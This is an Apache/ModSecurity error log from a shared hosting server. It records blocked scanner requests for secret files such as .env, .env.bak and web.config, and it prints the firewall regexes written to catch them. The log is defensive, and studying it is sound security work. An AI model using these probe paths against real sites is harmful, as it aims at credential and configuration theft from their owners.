https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:52.153935 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.32:30705] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:52.154368 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.32:30705] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:52.288197 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.71:45560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:52.288479 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.71:45560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:52.333069 2026] [security2:error] [pid 715691:tid 715733] [remote 52.167.144.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30mLV-dFiaX9AtWiQn7gABOhc"] [Sat Jun 13 18:23:52.395914 2026] [access_compat:error] [pid 715691:tid 715803] [remote 57.141.14.80:65415] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:52.396374 2026] [access_compat:error] [pid 715691:tid 715803] [remote 57.141.14.80:65415] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:52.434492 2026] [security2:error] [pid 715691:tid 715838] [remote 52.167.144.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30mLV-dFiaX9AtWiQn8QABHX8"] [Sat Jun 13 18:23:52.464097 2026] [access_compat:error] [pid 715691:tid 715726] [remote 57.141.14.18:61110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:52.464555 2026] [access_compat:error] [pid 715691:tid 715726] [remote 57.141.14.18:61110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:52.604579 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:23:52.605042 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:23:52.672230 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.97:45742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:52.672494 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.97:45742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:53.141096 2026] [security2:error] [pid 715691:tid 715710] [remote 57.141.14.51:44228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30mbV-dFiaX9AtWiQoBgABfgA"], referer: https://nelsonfarmstn.com/product/lavender-chamomile/?add_to_wishlist=375&_wpnonce=a9376aed05&add-to-cart=402 [Sat Jun 13 18:23:53.187556 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:53.188006 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:53.288011 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.18:61112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:53.288300 2026] [access_compat:error] [pid 646876:tid 646956] [remote 57.141.14.18:61112] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:53.546455 2026] [security2:error] [pid 715691:tid 715742] [remote 17.246.23.188:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 188.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30mbV-dFiaX9AtWiQoDgABbCA"] [Sat Jun 13 18:23:53.591410 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.33:45067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:53.591741 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.33:45067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:53.673375 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:23:53.673677 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:23:53.830306 2026] [proxy:error] [pid 715691:tid 715960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.830399 2026] [proxy_http:error] [pid 715691:tid 715960] [client 91.92.42.86:10628] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.831107 2026] [proxy:error] [pid 715691:tid 715960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.831149 2026] [proxy_http:error] [pid 715691:tid 715960] [client 91.92.42.86:10628] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.850426 2026] [proxy:error] [pid 715691:tid 715958] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.850497 2026] [proxy_http:error] [pid 715691:tid 715958] [client 91.92.42.86:10638] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.851081 2026] [proxy:error] [pid 715691:tid 715958] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.851111 2026] [proxy_http:error] [pid 715691:tid 715958] [client 91.92.42.86:10638] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.853142 2026] [security2:error] [pid 715691:tid 715951] [client 91.92.42.86:10640] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30mbV-dFiaX9AtWiQoGAAAAXg"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.857452 2026] [security2:error] [pid 715691:tid 715962] [client 91.92.42.86:10642] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30mbV-dFiaX9AtWiQoGgAAAYM"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.859044 2026] [proxy:error] [pid 715691:tid 715934] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.859131 2026] [proxy_http:error] [pid 715691:tid 715934] [client 91.92.42.86:10646] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.859888 2026] [proxy:error] [pid 715691:tid 715934] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.859924 2026] [proxy_http:error] [pid 715691:tid 715934] [client 91.92.42.86:10646] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.885261 2026] [proxy:error] [pid 715691:tid 715894] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.885362 2026] [proxy_http:error] [pid 715691:tid 715894] [client 91.92.42.86:10658] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.886947 2026] [proxy:error] [pid 715691:tid 715894] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.887003 2026] [proxy_http:error] [pid 715691:tid 715894] [client 91.92.42.86:10658] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.909584 2026] [security2:error] [pid 646876:tid 647024] [client 91.92.42.86:10668] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mdyTkdrNlD40tSHVRwAAABA"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.924366 2026] [proxy:error] [pid 715691:tid 715878] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.924459 2026] [proxy_http:error] [pid 715691:tid 715878] [client 91.92.42.86:10682] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.926678 2026] [proxy:error] [pid 715691:tid 715878] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:23:53.926742 2026] [proxy_http:error] [pid 715691:tid 715878] [client 91.92.42.86:10682] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.944580 2026] [security2:error] [pid 715691:tid 715821] [remote 17.22.245.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30mbV-dFiaX9AtWiQoHgABWG4"] [Sat Jun 13 18:23:53.955087 2026] [security2:error] [pid 715691:tid 715858] [client 91.92.42.86:10692] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/.env.bak"] [unique_id "ai30mbV-dFiaX9AtWiQoHwAAARs"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:53.994869 2026] [security2:error] [pid 715691:tid 715799] [remote 17.241.75.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30mbV-dFiaX9AtWiQoIAABRFg"] [Sat Jun 13 18:23:54.017582 2026] [security2:error] [pid 715691:tid 715843] [client 91.92.42.86:10708] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/web.config"] [unique_id "ai30mrV-dFiaX9AtWiQoIQAAAQw"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.069473 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.12:20436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:54.069907 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.12:20436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:54.119545 2026] [security2:error] [pid 715691:tid 715927] [client 91.92.42.86:10782] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mrV-dFiaX9AtWiQoJwAAAWA"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.120171 2026] [security2:error] [pid 715691:tid 715911] [client 91.92.42.86:10786] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30mrV-dFiaX9AtWiQoKAAAAVA"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.120816 2026] [security2:error] [pid 646876:tid 647091] [client 91.92.42.86:10766] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/database.php"] [unique_id "ai30mtyTkdrNlD40tSHVUwAAAFM"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.157167 2026] [security2:error] [pid 646876:tid 647113] [client 91.92.42.86:10802] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai30mtyTkdrNlD40tSHVVQAAAGk"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.160244 2026] [security2:error] [pid 646876:tid 647059] [client 91.92.42.86:10816] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30mtyTkdrNlD40tSHVWAAAADM"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.160345 2026] [security2:error] [pid 646876:tid 647036] [client 91.92.42.86:10824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/db.php"] [unique_id "ai30mtyTkdrNlD40tSHVWQAAABw"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.174166 2026] [security2:error] [pid 646876:tid 647104] [client 91.92.42.86:10852] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/web.config"] [unique_id "ai30mtyTkdrNlD40tSHVWwAAAGA"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.184086 2026] [security2:error] [pid 646876:tid 647032] [client 91.92.42.86:10864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/settings.php"] [unique_id "ai30mtyTkdrNlD40tSHVXAAAABg"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:23:54.194418 2026] [security2:error] [pid 646876:tid 646961] [remote 34.31.88.250:0] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "files.hiratsuka.org"] [uri "/.env"] [unique_id "ai30mtyTkdrNlD40tSHVXwAANFI"] [Sat Jun 13 18:23:54.205635 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:54.206097 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 